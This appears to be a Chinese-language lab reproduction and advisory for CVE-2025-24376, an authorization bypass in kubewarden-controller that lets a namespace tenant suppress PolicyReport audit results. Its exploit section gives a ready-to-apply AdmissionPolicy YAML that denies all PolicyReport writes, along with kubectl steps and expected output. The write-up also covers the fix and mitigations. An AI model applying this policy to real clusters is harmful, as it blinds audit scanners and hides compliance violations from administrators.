跳转至

CVE-2025-24376 — kubewarden-controller 对 AdmissionPolicy 的授权绕过

发布于 2026-06-06

授权绕过 — 审计篡改

低权限的 Kubernetes 租户可以注册一个 AdmissionPolicy,拦截敏感的 PolicyReport 对象,从而在无需集群管理员权限的情况下屏蔽或伪造集群 审计结果。

字段
Project kubewarden-controller
受影响组件 AdmissionPolicy / AdmissionPolicyGroup 验证 Webhook(vadmissionpolicy.kb.io
Severity MEDIUM
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L (6.5)
CWE CWE-155, CWE-285
受影响版本 >= 1.7.0, < 1.21.0(最后一个存在漏洞的版本:v1.20.1)
修复版本 1.21.0
安全公告 GHSA-fc89-jghx-8pvg

1. 漏洞概述

Kubewarden 是一个 Kubernetes 策略引擎,其控制器管理两种命名空间级别的准入策略:AdmissionPolicyAdmissionPolicyGroup。按照设计,这两种策略类型的作用范围限定于命名空间级资源,且可供非集群管理员的租户使用。控制器注册了一个 Kubernetes 验证 Webhook(vadmissionpolicy.kb.io),它会拦截这些自定义资源的每次 CREATE 或 UPDATE 操作,验证提交的规格,如果通过则指示 Kubernetes API Server 对后续请求应用该策略。

CVE-2025-24376 是一个授权绕过漏洞:在 1.7.0 至 1.20.x 版本中,控制器的 Webhook 验证逻辑没有限制 AdmissionPolicy 可以针对哪些 Kubernetes 资源。只拥有 AdmissionPolicy 对象命名空间级 RBAC 写入权限的租户,可以构造一个针对 wgpolicyk8s.io/policyreports 的策略,即审计扫描器用来上报合规结果的敏感资源。影响体现在完整性层面:拒绝策略可以屏蔽该命名空间内所有新建的 PolicyReport 对象,从而隐藏违规情况;变更策略则可以静默篡改这些对象的内容,伪造合规结果。攻击无需集群管理员权限,不涉及 Secret 访问,也不需要利用代码,用 kubectl 提交一份声明式 YAML 清单即可完成。

根本原因

漏洞代码位于 api/policies/v1/policy_validation.go。修复前,validateRulesField 函数在遍历提交策略的规则时,仅检查 operationsapiVersionsresources 字段是否为空,对所有策略类型(包括 AdmissionPolicyAdmissionPolicyGroup)采用相同的检查逻辑,对目标资源没有任何类型特定的限制。Kubernetes API Server 因此会接受任何格式正确的 AdmissionPolicy,无论其针对的是什么资源。

修复(提交 8124039)增加了两项检查,在提交的策略为 AdmissionPolicyAdmissionPolicyGroup 时触发:

// Detect the policy type
_, isAdmissionPolicy := policy.(*AdmissionPolicy)
_, isAdmissionPolicyGroup := policy.(*AdmissionPolicyGroup)

if isAdmissionPolicy || isAdmissionPolicyGroup {
    allErrors = append(allErrors, checkRulesArrayForWildcardUsage(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
    allErrors = append(allErrors, checkRulesArrayForSensitiveResourcesBeingTargeted(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
}

checkRulesArrayForWildcardUsageapiGroupsresources 同时包含通配符(**/*)时返回 Forbidden 错误,防止使用宽泛的通配符策略隐式覆盖敏感资源。

checkRulesArrayForSensitiveResourcesBeingTargeted 将每条规则与受保护资源列表(初始值为 {wgpolicyk8s.io, policyreports})进行比对,如果规则通过精确名称、通配符或子资源前缀命中了该组/资源,则拒绝该策略:

func (sr sensitiveResource) MatchesRules(apiGroups []string, resource []string) bool {
    // apiGroup matches if exact or wildcard "*"
    // resource matches if exact, "*", "*/*", or has prefix "policyreports/"
    return apiGroupMatches && resourceMatches
}

修复之前,上述所有检查均不存在。Kubernetes API Server 会接受任何格式正确的 AdmissionPolicy,不限制其目标资源。

2. 漏洞环境

本次复现使用单节点 kind(Kubernetes-in-Docker)集群,并将 kubewarden-controller 部署为最后一个存在漏洞的发布镜像 ghcr.io/kubewarden/kubewarden-controller:v1.20.1sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362)。

下载环境文件:env.zip

单个文件:

前置条件

以下工具需要在宿主机上提前安装,下载包中不包含这些二进制文件:

  • kind — 用于创建和管理本地 Kubernetes 集群
  • helm — 用于安装 kubewarden-crds(chart 1.12.1)和 kubewarden-controller(chart 4.0.1)
  • kubectl — 用于所有 API Server 交互

拓扑结构

组件 角色 网络
kind API Server(cve-2025-24376-control-plane Kubernetes 控制面及准入链 127.0.0.1(随机宿主机端口——从 env/kubeconfig-admin.yaml 读取)
kubewarden-controller Pod(命名空间 kubewarden 存在漏洞的控制器;注册验证 Webhook vadmissionpolicy.kb.io 仅限集群内
CRD policyreports.wgpolicyk8s.io 漏洞利用所针对的敏感资源 集群范围 CRD
baseline-report PolicyReport(命名空间 tenant-a 预置的审计对象 API 对象

确认存在漏洞的版本

集群启动后,确认正在运行的是存在漏洞的版本:

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get pods -n kubewarden -l app.kubernetes.io/name=kubewarden-controller \
  -o jsonpath='{.items[*].status.containerStatuses[*].image}{"\n"}{.items[*].status.containerStatuses[*].imageID}{"\n"}'

预期输出包含:

ghcr.io/kubewarden/kubewarden-controller:v1.20.1
ghcr.io/kubewarden/kubewarden-controller@sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362

执行快速健康检查,确认准入路径处于激活状态:

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get nodes
kubectl get deploy kubewarden-controller -n kubewarden -o jsonpath='{.status.readyReplicas}/{.status.replicas} ready{"\n"}'
kubectl get validatingwebhookconfigurations | grep kubewarden
kubectl get crd policyreports.wgpolicyk8s.io
kubectl get policyreport baseline-report -n tenant-a

预期结果:节点状态 Ready;控制器 1/1 ready;Webhook 配置存在;CRD 存在;baseline-report 存在。

同时确认攻击者账号的权限边界:

KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a
KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i list secrets -n tenant-a

预期结果:先 yesno——这是一个命名空间租户,而非集群管理员。

3. 漏洞利用方法

下载利用文件:exploit.zip

单个文件:

恶意策略

exploit/policy.yaml 定义了一个位于命名空间 tenant-aAdmissionPolicy,名称为 block-policy-reports。其规则针对 wgpolicyk8s.io/policyreports——即敏感的审计资源——并使用值为 false 的 CEL 验证表达式,使策略拒绝所有匹配的请求:

apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: block-policy-reports
  namespace: tenant-a
spec:
  module: registry://ghcr.io/kubewarden/policies/cel-policy:latest
  settings:
    validations:
      - expression: "false"
        message: "policy reports are blocked"
  rules:
    - apiGroups: ["wgpolicyk8s.io"]
      apiVersions: ["v1alpha2"]
      operations: ["CREATE", "UPDATE"]
      resources: ["policyreports"]
  mutating: false
  backgroundAudit: false

一旦该策略在集群中生效,后续任何在 tenant-a 中创建或更新 PolicyReport 对象的尝试都将被 Kubewarden 拒绝——有效地使该命名空间中的审计扫描器失效。

步骤

步骤 1. 在运行漏洞利用之前,先验证攻击者身份和 RBAC 权限(应输出 yes):

KUBECONFIG=env/kubeconfig-attacker.yaml \
  kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a

步骤 2. 以攻击者身份提交恶意 AdmissionPolicy

bash exploit/run.sh env/kubeconfig-attacker.yaml exploit/policy.yaml

在存在漏洞的控制器(v1.20.1)上,Webhook 不会拒绝该策略。预期输出:

[*] Acting as attacker actor:
system:serviceaccount:tenant-a:attacker
[*] Submitting malicious AdmissionPolicy targeting wgpolicyk8s.io/policyreports ...
admissionpolicy.policies.kubewarden.io/block-policy-reports created
[*] Submission completed without webhook rejection (vulnerable controller accepted it).

步骤 3. 通过独立的管理员通道(与攻击者凭证完全隔离)读取集群状态,确认策略已持久化:

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get admissionpolicy block-policy-reports -n tenant-a \
  -o jsonpath='{.metadata.name}{"\n"}{.spec.rules[0].apiGroups}{"\n"}{.spec.rules[0].resources}{"\n"}'

如何证明漏洞利用成功

验证依赖于通过集群管理员 kubeconfig 进行的独立观测——该凭证与攻击者的凭证完全无关。利用脚本退出后,管理员通道确认禁止的策略已以完整的敏感资源规则存在于集群状态中:

block-policy-reports
["wgpolicyk8s.io"]
["policyreports"]
["CREATE","UPDATE"]
UID=56ac4fbb-81f6-4a77-bc42-f7f98e47a6b6
CREATIONTS=2026-06-02T10:26:03Z

服务器分配的 UID 和创建时间戳证明该对象已通过 Kubernetes API Server 提交并持久化,而非通过任何旁路植入。利用运行之前,管理员读取返回 NotFound;利用之后,策略以 apiGroups=["wgpolicyk8s.io"]resources=["policyreports"] 的形式存在。

在修复版本(kubewarden-controller >= 1.21.0)上,步骤 2 中的 kubectl apply 会以非零退出码退出,并显示来自 validateRulesField 的准入 Webhook Forbidden 错误;步骤 3 中的管理员读取返回 NotFound——策略从未被持久化。这两种结果之间的对比,将观察到的持久化现象直接归因于 v1.20.1 中缺失的验证逻辑。

环境清理

完成后,删除 kind 集群:

kind delete cluster --name cve-2025-24376

该命令会移除 kind 节点容器及其网络。kubeconfig 和清单文件可连同运行目录一并删除。宿主机的包管理器状态不受影响。

4. 安全建议

修复方案

将 kubewarden-controller 升级至 1.21.0 或更高版本。该版本在 validateRulesField 中增加了服务端验证,拒绝任何规则针对 wgpolicyk8s.io/policyreportsAdmissionPolicyAdmissionPolicyGroup(无论是精确匹配、通配符匹配还是子资源前缀匹配),同时也禁止在 apiGroupsresources 中同时使用通配符。修复已包含在 kubewarden/kubewarden-controller 仓库的提交 8124039 中。

缓解措施与变通方案

若无法立即升级,GHSA 公告提供了一种变通方案:使用 ClusterAdmissionPolicy(集群级别,需要集群管理员才能创建)来拒绝任何针对敏感资源的 AdmissionPolicyAdmissionPolicyGroup。此方案将执行责任交由集群管理员承担,不依赖控制器自身的验证。

此外,应将 admissionpoliciesadmissionpolicygroups 上的 RBAC create/update 权限限制在最可信的命名空间租户范围内。减少能够创作策略的主体数量,即使在已打补丁的集群上也是有效的纵深防御措施。

参考资料